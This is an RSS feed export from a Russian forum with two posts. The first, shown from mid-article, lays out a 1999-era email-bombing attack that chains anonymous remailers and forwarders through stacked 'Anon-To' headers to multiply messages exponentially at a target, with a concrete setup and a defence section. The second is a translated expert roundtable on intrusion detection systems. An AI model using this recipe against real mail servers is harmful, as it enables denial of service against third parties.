						&lt;p&gt;В заголовок (начало) письма добавим N строк &amp;quot;Anon-To: A, B, C&amp;quot;. A,B,C пусть пересылают на аноним (R) . &lt;/p&gt;
						&lt;p&gt;Теперь, если послать письмо на A, B или С, то пока R исчерпает все строки Anon-To, и в сети будет гулять 3**N (три в степени N) писем. Для N=100, это порядка 10**48 писем, что где-то на 20 порядков больше, чем число проходящих за день во всём Интернете. Вряд ли, какой сервер выдержит это. А ведь N может быть скажем равным 20, а адрес C - Вашим ( или Вашего врага, или postmaster@kavkaz.org ;-) ). С - получит около 2**21 ( двух миллионов) писем. Если в каждом будет 100 килобайт текста то &amp;quot;выход&amp;quot; составит 200 Gb. Что станет с его сервером и каналом? &lt;/p&gt;
						&lt;p&gt;4. Эксперимент&lt;br /&gt;Впрочем, в этой схеме средний аноним накроется где-то на N&amp;gt;10 (они и так-то перегружены), но ведь никто не мешает написать более оптимальную схему, в которой основная нагрузка падает на форвардер. &lt;/p&gt;
						&lt;p&gt;Пример. &lt;br /&gt;attack@post - атакуемый объект &lt;br /&gt;Mail.ru, hotmail.ru - форвардеры. Второй форвардер необходим т.к. mail.ru не позволит продублировать адрес даже цепочкой внутренних пересылок, а hotmail.ru пересылает только на один адрес. &lt;br /&gt;Аноним - remailer@replay.com &lt;br /&gt;a_readr@mail.ru пересылает на remailer@replay.com, attack@post и tmp_atck@hotmail.ru [, tmp2_atck@hotmail.ru, tmp3_atck@hotmail.ru ...] &lt;/p&gt;
						&lt;p&gt;tmp_atck@hotmail.ru на attack@post &lt;br /&gt;[tmp2_atck@hotmail.ru на attack@post &lt;br /&gt;tmp3_atck@hotmail.ru на attack@post &lt;br /&gt;...] &lt;/p&gt;
						&lt;p&gt;В начале письма N фрагментов:&amp;quot; &lt;br /&gt;:: &lt;br /&gt;Anon-To: remailer@replay.com, a_readr@mail.ru &lt;br /&gt;&amp;lt;пустая строка&amp;gt; &lt;br /&gt;&amp;quot; ( самому себе аноним тоже отсылает). &lt;/p&gt;
						&lt;p&gt;Отсылаем письмо на a_readr@mail.ru. Всё! &lt;/p&gt;
						&lt;p&gt;При N=2 и без дополнительных адресов tmp2_atck , tmp3_atck, ... attack@post - получил 14 писем. С k дополнительными их было бы (2**N-1)*(2+k). Ещё более опасной формой атаки является случай, когда один из форвардеров указывает на несуществующий адрес реального почтового сервера, перегружая последний в целом. Впрочем, это бесконечная тема. &lt;/p&gt;
						&lt;p&gt;5. Мысли о будущем или как защититься. &lt;br /&gt;Сразу оговорюсь, что в этой области не силён. Может кто-то и знает/придумает эффективный способ защиты. Пожалуйста поделитесь. &lt;/p&gt;
						&lt;p&gt;От большинства атак на отказ можно защититься грамотной конфигурацией сервера. Описанная же методика, в лучшем случае просто забьёт Ваш почтовый ящик или сервер. К сожалению, от нас здесь мало что зависит. Почти ничего. А вот авторы анонимов могут помочь. Обычным пользователям можно пользоваться почтой с ограниченным размером почтового ящика ( если у Вас ещё сохранились такие &amp;quot;старомодные&amp;quot; провайдеры). Скорее всего упадёт лишь Pop-сервер. Если местные провайдеры уже забыли о такой &amp;quot;услуге&amp;quot;, попробуйте Web - почту типа @netscape.net, с ограниченным почтовым ящиком. Мне кажется, здесь аноним или форвард выйдет из строя гораздо раньше. &lt;/p&gt;
						&lt;p&gt;Можно, конечно поставить фильтр на известные анонимы или форвардеры, но ведь ими пользуются нормальные пользователи. &lt;/p&gt;
						&lt;p&gt;Анонимам же достаточно начать обрабатывать сразу все заголовки &amp;quot;Anon-To&amp;quot;. Рост превратиться в линейный. Это тоже плохо, но уже совсем не смертельно. Ещё лучше обрабатывать только последнюю строчку переадресовки. &lt;/p&gt;
						&lt;p&gt;Разумеется, владельцам подобных анонимов были посланы соответствующие письма, но наверняка они затерялись в жалобах на спаммеров, да и римейлеров в Cети куда больше, чем может найти автор... &lt;/p&gt;
						&lt;p&gt;На 23 сентября 1999 г. пример ещё работал. &lt;/p&gt;
						&lt;p&gt;P.S. Пример специально построен на достаточно медленных или перегруженных серверах, чтобы их нельзя было эффективно использовать для атаки.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 22:04:42 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=36#p36</guid>
		</item>
		<item>
			<title>Эксперты дискутируют о настоящем и будущем систем обнаружения атак</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=35#p35</link>
			<description>&lt;p&gt;Предисловие переводчика. Это первая публикация на русском языке, посвященная системам обнаружения атак без рекламы каких-либо конкретных продуктов. Рассуждения признанных экспертов в области сетевой безопасности и, в частности, в области обнаружения атак помогают ответить на многие вопросы, задаваемые пользователями. Данный перевод сделан с учетом российской терминологии в области информационной безопасности. Это не дословный перевод, и поэтому данная публикация в некоторых местах может не совпадать с оригиналом. Однако при переводе была сохранена общая идея первоначальной статьи, которая заключалась в том, чтобы рассказать о системах обнаружения атак, о достоинствах и недостатках существующих систем, о направлениях их развития, о том, чего в действительности можно ожидать от этой технологии.&lt;/p&gt;
						&lt;p&gt;Единственное, что можно добавить, в данной публикации ничего не сказано о таких новых направлениях в области обнаружения атак, как применение нечеткой логики и нейросетей.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Что реально можно ожидать от систем обнаружения атак?&lt;/p&gt;
						&lt;p&gt;Маркус Ранум: Системы обнаружения атак достаточно своевременно обнаруживают известные атаки. Не стоит ждать от таких систем обнаружения неизвестных на сегодняшний день атак. Проблема обнаружения чего-то, неизвестного до настоящего момента, является очень трудной и граничит с областью искусственного интеллекта и экспертных систем (однако в этих областях уже достигнуты немалые успехи; особенно с развитием теорий нейронных сетей и нечеткой логики - примечание переводчика). Также не следует ожидать, что системы обнаружения атак способны реагировать на атаки путем нападения. Это очень опасная возможность, так как она означает, что ложная тревога или ложное срабатывание может вызвать реакцию, запрещающую ту или иную услугу или блокирующую доступ в сеть. Проблема с системами обнаружения атак состоит в том, что, многие люди, прочтя Neuromancer Уильяма Гибсона, думают, что системы обнаружения атак действуют подобно интеллектуальному &amp;quot;ICE&amp;quot; (что-то вроде искусственного разума, обеспечивающего защиту информационной системы - примечание переводчика) и могут защитить сети намного эффективнее, чем это может быть на самом деле. Я вижу, что, скорее всего, системы обнаружения атак похожи на антивирусные программы, используемые для поиска вирусов на жестких дисках или в сетях.&lt;/p&gt;
						&lt;p&gt;Ли Саттерфилд: Современные системы обнаружения атак способны контролировать в реальном масштабе времени сеть и деятельность операционной системы, обнаруживать несанкционированные действия, и, автоматически реагировать на них практически в реальном масштабе времени,. Кроме того, системы обнаружения атак могут анализировать текущие события, принимая во внимание уже произошедшие события, что позволяет идентифицировать атаки, разнесенные во времени и тем самым прогнозировать будущие события. Можно ожидать, что технология обнаружения атак позволит намного повысить существующий уровень защищенности, достигаемый &amp;quot;стандартными&amp;quot; средствами, путем управления несанкционированными действиями в реальном масштабе времени. Технология обнаружения атак не решает проблем идентификации/аутентификации, конфиденциальности и т.п., хотя в ближайшем будущем эти механизмы будут интегрированы с системами обнаружения атак.&lt;/p&gt;
						&lt;p&gt;Кристофер Клаус: Развитие систем обнаружения атак требует дальнейших исследований. Нереально ожидать от систем обнаружения атак, что они будут способны подобно межсетевым экранам защитить всех пользователей от всех угроз (спорный пример – прим. переводчика). Развертыванию системы обнаружения атак должно предшествовать несколько шагов, позволяющих собрать дополнительную информацию, внести изменения в настройки сети . Хорошая система автоматизирует многие этапы этого процесса. Многие заказчики думают, что средства защиты, подобные системам обнаружения атак, защитят их от 100% &amp;quot;плохих вещей&amp;quot;. Это не так. В современном мире нет абсолютных средств защиты. Системы обнаружения атак значительно уменьшат вероятность реализации угроз, но и они не совершенны.&lt;/p&gt;
						&lt;p&gt;Девид Карри: При помощи систем обнаружения атак Вы сможете узнать больше относительно того, что происходит в вашей сети. Вы будете способны собирать данные о том, что поступает в вашу сеть из удаленных источников, и использовать эти данные для эффективного применения средств защиты информации. Однако ошибочно думать, что установка систем обнаружения атак решит все ваши проблемы. Вы по-прежнему должны будете иметь комплексную систему информационной безопасности, объединяющую политику безопасности, обучение, тестирование и применение технических средств. Обнаружения атак – только один элемент этой системы.&lt;/p&gt;
						&lt;p&gt;Юджин Спаффорд: Реально ожидать от систем обнаружения атак идентификации в практически реальном режиме времени любых попыток использования известных уязвимостей или несанкционированного исследования вашей внутренней сети. Они также должны следить за попытками перегрузки критичных ресурсов. Наряду с этим, они должны выдавать звуковые предупреждения об атаке, выполнять определенные действия и создавать журнал регистрации событий для последующего анализа.&lt;/p&gt;
						&lt;p&gt;Неразумно ожидать, что системы обнаружения атак будут эффективно идентифицировать неизвестные типы нападений или идентифицировать атаки, разнесенные во времени.&lt;/p&gt;
						&lt;p&gt;Любая существующая или создаваемая система требует периодического контроля и сопровождения технически грамотным специалистом, постоянно дополняющим ее информацией о новых атаках и уязвимостях. Любая система в некоторых случаях будет ложно генерировать тревоги и сообщать о нападениях. Поэтому требуется некто с достаточным пониманием среды функционирования системы обнаружения атак, который может принимать решения, — ложная ли это тревога или произошла реальная атака.&lt;/p&gt;
						&lt;p&gt;Какие наиболее серьезные слабости в существующих коммерчески распространяемых системах?&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Многие продукты управляются локально. Локальное управление системами обнаружения атак, аналогично управлению другими средствами защиты, имеет значительные недостатки, которые, зачастую, проявляются только через некоторое время после развертывания системы. Масштабируемость жизненно важна для эффективного применения системы, особенно в крупных сетях. Вторая проблема – производительность. Большинство коммерческих систем обнаружения атак не может эффективно функционировать даже в сетях Ethernet (10 Мбит/с), не говоря уже о сетях ATM и других более скоростных магистралях.&lt;/p&gt;
						&lt;p&gt;Клаус: Мы столкнулись с двумя основными проблемами. Во-первых, вы должны быть уверены, что ваша система обнаружения атак соответствует вашей сети. А, во-вторых, вы должны ответить на вопрос: &amp;quot;Что делать потом?&amp;quot;. Необходимо настроить приобретенную систему таким образом, чтобы она обнаруживала атаки и распределяла их по приоритетам с учетом специфики вашей сетевой инфраструктуры. Вы не имеете старых версий операционной системы SunOS? Следовательно, вы неуязвимы к атакам типа &amp;quot;UDP Bomb&amp;quot;. Это знание уменьшает вероятность ложных обнаружений. Однако для такой настройки требуется знание топологии сети и сведений об используемом программном и аппаратном обеспечении. Ни одна из современных систем обнаружения атак не проводит такого рода предварительной настройки. Ответ на вопрос &amp;quot;Что делать потом?&amp;quot; также немаловажен. Предположим, что система обнаружения атак сообщает о событии DNS Hostname Overflow. Что это означает? Почему это плохо? Как я должен реагировать в ближайшей и далекой перспективе? Многие современные системы не обеспечивает такой уровень подробности. Кроме этого иногда очень трудно отделить важную информацию от второстепенной. Необходимо иметь немалый опыт в области обнаружения атак, чтобы формализовать его и заложить в систему.&lt;/p&gt;
						&lt;p&gt;Ранум: Самая большая слабость – наличие огромного числа приложений, которые имеют неизвестные уязвимости. Для типичной системы обнаружения атак основной способ определения нападения – проверка на соответствие сигнатуре. Однако, это ограниченное с технической точки зрения решение.&lt;/p&gt;
						&lt;p&gt;Карри: Обнаружение атак в коммерческих системах – все еще новая, неисследованная область. Производители разрабатывают системы в очень быстром темпе. Хотя существуют некоторые очевидные слабости масштабируемости, удаленной модификации и т.п., большинство производителей уже решило эти проблемы в альфа-версиях или в версиях, находящихся в процессе опытной эксплуатации. Имеется только одна, действительно серьезная, на данный момент нерешенная, проблема – база данных сигнатур. Написание модуля слежения для системы обнаружения атак - достаточно простая задача. Для этого необходим хороший алгоритм сопоставления с образцом, организация буферизации данных и эффективные алгоритмы кодирования. Но самый лучший в мире модуль слежения бесполезен без полной, всесторонней базы данных сигнатур атак, которая должна быть очень быстро обновляемой, так как новые атаки и уязвимости обнаруживаются постоянно. Создание такой базы данных требует наличия хорошо осведомленных экспертов, имеющих доступ к большому числу источников информации об атаках. Способность создания и обновления такой базы данных будет главным параметром, по которому будут оцениваться производители систем обнаружения атак в следующие 12-24 месяцев.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Современные производители сосредотачивают свое внимание на обнаружении внешних атак, а не на выработке обобщенного подхода к обнаружению нарушений стратегии защиты. Выработка этого подхода – это область активных исследований в ближайшее время.&lt;/p&gt;
						&lt;p&gt;Имеется ли технология обнаружения атак, которая предпочтительней других?&lt;/p&gt;
						&lt;p&gt;Клаус: Сегодня имеется два основных подхода к построению систем обнаружения атак: анализ пакетов, передаваемых по сети и анализ журналов регистрации операционной системы или приложений. В то время как эти подходы имеют свои сильные и слабые стороны, мы чувствуем, что сетевой подход к обнаружению атак (network-based) более эффективен по двум причинам: реагирование в реальном масштабе времени и более низкая стоимость операций. Системы обнаружения атак, основанные на анализе сетевых пакетов, позволяют среагировать на нападение до того, как атакующий завершит его, тем самым, обеспечивая защиту в реальном масштабе времени. Развертывание системы обнаружения атак на сетевых сегментах более эффективно за счет быстрой инсталляции, а также за счет того, что пользователь не сможет отключить систему и тем самым нарушить защиту периметра.&lt;/p&gt;
						&lt;p&gt;Ранум: Имеется два основных типа систем обнаружения атак: экспертные и сигнализирующие системы. Экспертные системы пытаются анализировать сетевой трафик, &amp;quot;обучаться&amp;quot; на нем и обнаруживать аномалии. Это требует интенсивной работы и трудно реализуемо. Самая большая проблема экспертных систем – генерация большого числа ложных тревог. Такого рода системы для уменьшения числа ложных тревог требует предварительной настройки. Сигнализирующие системы обнаружения атак намного проще и более надежны. Они почти не выдают ложных тревог и не требуют серьезной настройки. Это, своего рода, решение &amp;quot;в лоб&amp;quot;, которое заключается в поиске соответствий некоторому словарю известных нападений. Когда обнаруживается соответствие шаблону, система сигнализирует о нападении. Ни один из этих вариантов не лучше другого. Идеальным вариантом служила бы система, объединяющая в себе оба этих типа. Я предсказываю, что каждый производитель будет пытаться продавать свои системы как экспертные, поскольку сейчас это модно и позволяет получить больше денег.&lt;/p&gt;
						&lt;p&gt;Карри: Сегодня существует два основных подхода, применяемых в коммерческих системах – обнаружение атак на уровне сети (network-based) и на уровне хоста (host-based). Первые системы анализируют сетевой трафик, в то время как вторые – регистрационные журналы. В любом случае, система обнаружения атак ищет известные шаблоны, которые указывают на нападение. Принципиальное преимущество сетевых систем обнаружения атак в том, что они идентифицируют нападения прежде, чем оно достигнет атакуемой системы. Эти системы проще для развертывания на крупных сетях, потому что они не требуют установки на десятки различных платформ. И в заключение, эти системы практически не снижают производительности сети. Системы обнаружения атак на уровне хоста были разработаны для работы под управлением конкретной операционной системы. Используя знание того, как должна себя &amp;quot;вести&amp;quot; операционная система, средства, построенные с учетом этого подхода, иногда могут обнаружить вторжения, пропускаемые сетевыми средствами обнаружения атак. Однако, зачастую, это достигается дорогой ценой, потому что постоянная регистрация, необходимая для выполнения такого рода обнаружения, может снизить производительность защищаемого хоста. Оба эти подхода могут быть применены для защиты вашей организации. Если вы хотите защитить один или несколько узлов, то системы обнаружения атак на уровне хоста могут быть неплохим выбором. Но, если вы хотите защитить все узлы организации, то системы обнаружения атак на уровне сети, вероятно, будут лучшим выбором.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Имеется ли более предпочтительная технология обнаружения атак? На заре исследований в этой области постоянно проходили большие дебаты о том, какая модель обнаружения атак лучше – &amp;quot;обнаружение аномалий&amp;quot; (anomaly detection) или &amp;quot;обнаружение злоупотреблений&amp;quot; (misuse detection). &amp;quot;Аномальный&amp;quot; подход сосредотачивается на формировании статистической модели нормального поведения пользователей. Отклонение от модели является признаком нападения. Это красиво в теории, но практически нереализуемо. Этот подход страдает тем, что порождает слишком большое число ложных тревог. Второй подход (misuse detection) намного более простой. Ищите известные сигнатуры и бейте тревогу, когда найдете их. Это гораздо более надежно и выполнимо. Именно на этом подходе основаны практически все предлагаемые сегодня на рынке системы обнаружения атак. Сейчас намечаются сдвиги в развитии первого подхода. Я полагаю, что именно комбинация этих двух подходов станет первым шагом в развитии следующего поколения систем обнаружения атак. Я бы предложил термин &amp;quot;сигнатуро-основанное обнаружение аномалий&amp;quot;. Это звучит несколько странно, но возможно именно этот термин будет главенствовать в следующие годы.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Это зависит от того, какова угроза, политика безопасности, уровень защиты, доступность других мер (например, применение межсетевых экранов), вид реагирования и т.п. Например, система, осуществляющая статистический анализ журналов регистрации в поисках аномального поведения, хорошо подходит для обнаружения атак &amp;quot;постфактум&amp;quot;. Такие системы сильно загружают процессор и требуют большого дискового пространства для хранения журналов регистрации и, в принципе, не применимы для высоко критичных систем, работающих в режиме реального времени. Системы, обнаруживающие атаки на основе анализа трафика, прекрасно применимы в системах, в которых наибольшее волнение вызывают внешние нарушители, которые пытаются применять &amp;quot;стандартные&amp;quot; средства поиска уязвимостей. Ни одна из названных систем не решает всех поставленных задач, и имеются свои плюсы и минусы.&lt;/p&gt;
						&lt;p&gt;В каком направлении будут развиваться системы обнаружения атак? Как будут отличаться эти системы от тех, которые являются доступными сегодня?&lt;/p&gt;
						&lt;p&gt;Карри: Я думаю, что решение с одиночным датчиком (модулем слежения), установленным на одном компьютере, являлось лучшим на момент его принятия. Следующий большой шаг – обнаружение распределенных атак путем приема данных от множества датчиков, разнесенных по сети предприятия, и группирование этих данных в единое изображение, отражающее общую картину нападений на сеть (первые такие решения уже стали появляться, например, системы RealSecure или NetRanger - примечание переводчика). Единственный способ делать это сегодня – вручную (с момента публикации появилась первая система, обобщающая данные от систем обнаружения атак и других средств защиты в единую картину, демонстрирующую общий уровень безопасности сети, уже предлагается на рынке. Это система SAFEsuite Decisions компании ISS - примечание переводчика), и я предполагаю, что необходимость в человеческом контроле будет еще нужна в течение некоторого времени. Я думаю, что в течение ближайших 18-24 месяцев произойдет постепенное слияние рынка межсетевых экранов и систем обнаружения атак. Вы будете видеть несколько продуктов, все более или менее взаимозаменяемых в их ядре.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Технологии обнаружения атак развиваются быстрее молнии. Направление развития – удешевление инфраструктуры. Никто не хочет многотратить на защиту. Состязание в технологиях обнаружения атак будет выиграно теми, кто предложит заказчикам наиболее дешевое решение.&lt;/p&gt;
						&lt;p&gt;Клаус: Будет наблюдаться развитие трех (потенциально находящихся в противоречии) областей: развертывание, технологичность и качество обнаружения атак. В области развертывания мы будем видеть расширение числа мест обнаружения атак: на сетевом уровне (на межсетевых экранах, на коммутаторах, на маршрутизаторах), на уровне операционной системы (на серверах, на рабочих станциях) и на прикладном уровне (в СУБД или на сервере SAP, например). Для технологичности, , мы будем видеть, что системы станут более простыми в функционировании и более &amp;quot;приборо-подобными&amp;quot;, чтобы встроить их в сетевую инфраструктуру без внесения в последнюю серьезных изменений. В области качества обнаруженияатак мы увидим, что логика распознавания атак начнет включать модели построения поведенческих профилей и отклонений от этого профиля. Будет намного больше &amp;quot;интеллекта&amp;quot; в определении того, что является неправильным использованием ресурса или атакой. Общее число атак с ростом сетевых технологий неизбежно увеличится.&lt;/p&gt;
						&lt;p&gt;Ранум: Я думаю, мы увидим объединение сигнализирующих и экспертных систем обнаружения атак. Эти системы будут интегрированы в средства сетевого управления. Мы, специалисты в области защиты, должны прекратить решать отдельные проблемы сетевого управления. Поиск ошибок, обнаружения атак и т.п. – все это разные аспекты одной и той же проблемы - проблемы сетевого управления.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Исследования в этой области все еще идут. Мы до сих пор не очень хорошо понимаем, за ЧЕМ надо наблюдать, КАК надо наблюдать и ЧТО делать после обнаружения? Я думаю, что следующая проблема, которая встанет перед коммерческими системами обнаружения атак – автоматизированное реагирование на некоторые виды нарушений. Мы видим, что появляются системы, заменяющие правила межсетевых экранов и маршрутизаторов (яркий пример такой системы - RealSecure - примечание переводчика). Системы станут больше отвечать термину &amp;quot;активная обороноспособность&amp;quot;, потому что функции обнаружения и реагирования будут объединены в одном ядре системы. Такие системы станут распространенными в следующие 2-3 года (необходимо отметить, что такие системы уже получили широкое распространение. Сейчас очень трудно встретить систему, которая бы только обнаруживала атаки, но никак не реагировала на них - примечание переводчика).&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Научно-исследовательские институты выполнили неплохую работу. Фактически, именно эти исследования дали первый опыт в области обнаружения атак нашей компании. Однако, институты слишком инерционны, чтобы направить новые исследования в нужную сторону. Они очень много усилий вкладывают в область обнаружения атак. Сейчас намечается постепенный возврат к &amp;quot;аномальному&amp;quot; подходу, значение которого было недооценено несколько лет назад. Я думаю, что в реализации обнаружения аномального поведения уже не будет допущено столько ошибок. Мы учтем уроки, полученные в результате исследований систем обнаружения злоупотреблений (misuse). Мы начинаем работать с некоторыми институтами и надеемся, что это будет взаимовыгодное сотрудничество. Время покажет.&lt;/p&gt;
						&lt;p&gt;Ранум: Практически все исследования систем обнаружения атак проводятся в области применения экспертных систем, поскольку они наиболее интересны с технической точки зрения и более вероятно, что работа в этой области действительно принесет нечто полезное. Большая проблема, которую я вижу, это игнорирование задач, связанных с сетевым управлением, а ведь &amp;quot;реальная защита равна сетевому управлению&amp;quot;. Современные системы не имеют интуитивного интерфейса или настолько громоздки, что их очень трудно использовать. Я думаю, что хорошие идеи из области научных исследований переместятся в коммерческие системы.&lt;/p&gt;
						&lt;p&gt;Карри: Пару десятилетий изучение технологий обнаружения атак было прерогативой исследовательских лабораторий. До сих пор коммерческий сектор не обращал внимания на эти исследования и занимался повторным изобретением колеса. Но поскольку важность защиты продолжает расти, промежуток между исследовательскими проектами и коммерческими изделиями постоянно сокращается.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Могу назвать несколько исследовательских лабораторий, которые за последние несколько лет провело успешную работу в области обнаружения атак. Это UC Davis, Haystack Labs и LANL. Эти работы привели к успешному созданию большого числа систем, среди которых можно назвать ASIM, Stalker, NADIR и др.&lt;/p&gt;
						&lt;p&gt;В лаборатории COAST рассмотрели ограничения и основные проблемы, связанные с областью обнаружения атак. Мы не начинаем с вопроса: &amp;quot;Хорошо, система дает нам X. Мы хотим Y. Что надо сделать, чтобы система, дающая X, давала нам Y?&amp;quot; Вместо этого, мы решаем задачи, связанные с обнаружением атак и злоупотреблений целиком, от начала до конца, и пробуем найти эффективные решения. Например, Юджин Ким (Gene Kim) и я начали разработку системы Tripwire с вопроса: &amp;quot;Что является характерным практически для каждой попытки злоупотребления или атаки?&amp;quot; Ответ: обращение (исследование) к локальным файлам или их изменение (&amp;quot;взлом&amp;quot;). Таким образом, мы разработали систему, которая хранит &amp;quot;слепок&amp;quot; файла и обнаруживает злоупотребление этим файлом. Другой пример, разработка Сандипом Кумаром (Sandeep Kumar) и мной системы обнаружения атак IDIOT (Intrusion Detection In Our Time). Мы проанализировали, что реально можно обнаружить в системе, а затем разработали инструмент, который смог бы обнаруживать это наиболее эффективно. Результат – система обнаружения атак на уровне хоста (host-based), которая практически не снижает производительности и имеет очень широкую область применения. Чему мы научились в процессе этой работы, так это тому, что большинство коммерческих систем не хранит информацию обо всех действиях также эффективно, как это сделано в системе IDIOT. Теоретически возможно обнаружить большое количество различных форм злоупотреблений, но операционные системы не обеспечивают нас поддержкой, позволяющей контролировать каждое действие. В результате большинство современных систем требуют оснащения защищаемых систем специальной аппаратурой для сбора необходимой информации. Как следствие, это приводит к снижению производительности и эффективности системы, а также к увеличению хранимых и обрабатываемых контрольных данных.&lt;/p&gt;
						&lt;p&gt;Сегодня лаборатория COAST сосредоточила свое внимание на четырех направлениях технологии обнаружения атак. Во-первых, определение информации, которая должна храниться в журналах регистрации, и способа их сбора для наиболее эффективного управления любой системой обнаружения атак. Во-вторых, определение наилучшей структуры и формата хранения регистрационных данных, чтобы они могли быть быстро обработаны, не требуя больших объемов памяти для хранения и обработки. В-третьих, перемещение обработки контрольных данных с центральной консоли ближе к фактическому источнику этих данных. Это реализуется в нашем проекте агента обнаружения атак AAFID (демо-версия данного агента может быть загружена с Web-сервера лаборатории - примечание переводчика). И, в-четвертых, определение того, как результаты исследований в первых трех направлениях могут быть реализованы в программном обеспечении.&lt;/p&gt;
						&lt;p&gt;Я думаю, что успех некоторых из рекламируемых сейчас систем обнаружения атак поощрит разработчиков операционных систем создать открытый интерфейс для интеграции с механизмами регистрации данных. Меня также волнует, что с системами обнаружения атак может произойти то, что произошло с межсетевыми экранами, когда на рынке появилось большое число &amp;quot;экспертов&amp;quot; в области безопасности и фирм с небольшими модификациями существующих технологий. В чем состоит проблема? В потере и непонимании основных принципов. Например, термин &amp;quot;firewall&amp;quot; (&amp;quot;межсетевой экран&amp;quot;) появился приблизительно 7 лет назад. Фактически, насколько нам удалось обнаружить, термин &amp;quot;firewall&amp;quot; появился в 1991 году, в книге &amp;quot;Practical Unix Security&amp;quot; (признаю, что это моя оплошность, т.к. я ввел этот термин).Однако последний месяц ознаменовался первым появлением формальной модели межсетевого экрана, выполненной одним из моих студентов – Кристофом Шуба (Christoph Schuba). Люди были так заняты продажей межсетевых экранов, предоставлением обучающих программ для межсетевых экранов и их рекламой, что пренебрегли исследованиями того, что в действительности должен представлять собой межсетевой экран. Интересно то, что когда мы сравнили все коммерческие межсетевые экраны с моделью Кристофа, все они имели отсутствующие компоненты. Я вижу нечто подобное и в области обнаружения атак. Имеется потребность в таких системах. Давление на производителей систем обнаружения атак приведет к тому, что научные исследования и разработка соответствующей теории не будут выполнены. Уже сейчас акцент разработки в значительной степени смещается, и она ведется без понимания основополагающих принципов. Рынок средств защиты (а также средств управления) недостаточно поддерживает соответствующие исследования, проводимые в академических кругах, и в то же время многие университеты стимулируют перспективных студентов для выполнения этой работы.&lt;/p&gt;
						&lt;p&gt;Таким образом, я думаю, что и продавцы, и заказчики систем обнаружения атак должны поддерживать научно-исследовательские институты для проведения базисных исследований вместо постоянной модификации одних и тех же идей снова и снова (что и происходит сейчас). Мы нуждаемся в радикально новых идеях в этой (и других) областях.&lt;/p&gt;
						&lt;p&gt;Как системы обнаружения атак &amp;quot;приноравливаются&amp;quot; к другим мерам защиты (фильтрация, proxy, межсетевые экраны и т.п.)? Что делает предложение систем обнаружения атак уникальным?&lt;/p&gt;
						&lt;p&gt;Ранум: Это не совсем правильная аналогия. Фильтрация, proxy, межсетевые экраны подобны броне вокруг Вашей сети. Системы обнаружения атак подобны хирургу, который сообщает Вам, что пуля прошла мимо вашей спины (т.е. не задела что-то важное - примечание переводчика). Первоначальная идея систем обнаружения атак состояла в том, что они были пассивными, т.е. &amp;quot;Системами Обнаружения Атак&amp;quot; (&amp;quot;Intrusion Detection System&amp;quot;), а не &amp;quot;Экспертами по Отражению Атак&amp;quot; (&amp;quot;Intrusion Countermeasure Expert&amp;quot; – ICE из Neuromancer). Межсетевые экраны и т.д. разработаны для активной или пассивной защиты, а системы обнаружения атак – для активного или пассивного обнаружения.&lt;/p&gt;
						&lt;p&gt;Карри: Это другой инструмент из защитного арсенала и он не должен рассматриваться как замена для любого из перечисленных механизмов. Конечно имеются некоторые перекрытия. Особенно с межсетевыми экранами. Последние уже выполняют некоторые ограниченные функции обнаружения атак, поднимая тревогу, когда &amp;quot;срабатывает&amp;quot; соответствующее правило. Системы обнаружения атак уникальны в том, что в отличие от межсетевых экранов, выполняющих множество различных функций (фильтрация пакетов, аутентификация пользователей, кэширование и т.д.), в них реализована всего одна функция, но реализована хорошо. Обнаружение атак в реальном масштабе времени, особенно на высоких сетевых скоростях, требует значительного количества выделенных ресурсов, которых не может обеспечить ни один из межсетевых экранов, кроме, пожалуй, самого дорогого и сложного.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Системы обнаружения атак в значительной степени дополняют названные технологии. В некоторых случаях они могут заменять фильтрацию, proxy и т.п. В других случаях это будет другой уровень защиты. Дистанционно управляемая система обнаружения атак позволяет контролировать потоки данных в реальном масштабе времени. Я полагаю, что это будет иметь огромное воздействие на то, как мы будем управлять сетями в будущем. Текущее управление сетью сосредоточено на идентификации и управлении структурой и конфигурацией сети. Управление, основанное только на этой информации, подобно управлению строительством скоростного шоссе без знания структуры движения на нем. Технология обнаружения атак позволяет контролировать поток данных аналогично наблюдению за структурой движения на скоростном шоссе.&lt;/p&gt;
						&lt;p&gt;Клаус: И обнаружение атак, и анализ защищенности – критичные компоненты эффективной стратегии защиты. Вы имеете межсетевой экран, так? Отлично. Вы знаете, работает он или нет? Вы имеете туннели через межсетевой экран, правильно? Они используются? Ваши внутренние системы были атакованы когда-нибудь? Откуда Вы это знаете? Что Вы должны делать после этого? Мир изменяется каждый день. Секрет эффективной защиты информации в разработке политики безопасности, введении ее в эксплуатацию, аудите и регулярном их пересмотре. Вы не сможете этого сделать без использования технологий обнаружения атак и анализа защищенности.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Межсетевые экраны и фильтрация предназначены для того, чтобы предотвратить вторжение &amp;quot;плохих парней&amp;quot; из сети. Однако иногда эти механизмы терпят неудачу из-за ошибок разработки, аппаратных отказов, ошибок пользователей или просто невежества. Например, кто-то не понимает необходимости защиты сети и включает свой модем для доступа к рабочему компьютеру из дома. Межсетевой экран и proxy не могут не только защитить в этом случае, но и обнаружить этот случай. Системы обнаружения атак могут помочь в этом. Независимо от того, какова надежность фильтрации, пользователи зачастую находят способы обойти все Ваши преграды. Например, объекты ActiveX могут представлять новые направления для реализации угроз через межсетевые экраны. И, наконец, в большинстве систем наибольшую угрозу представляют люди, пользователи, действия которых должны также контролироваться.&lt;/p&gt;
						&lt;p&gt;Где должна быть размещена система обнаружения атак? Опишите за и против размещения систем обнаружения атак до и после межсетевого экрана. Каковы недостатки каждого из вариантов?&lt;/p&gt;
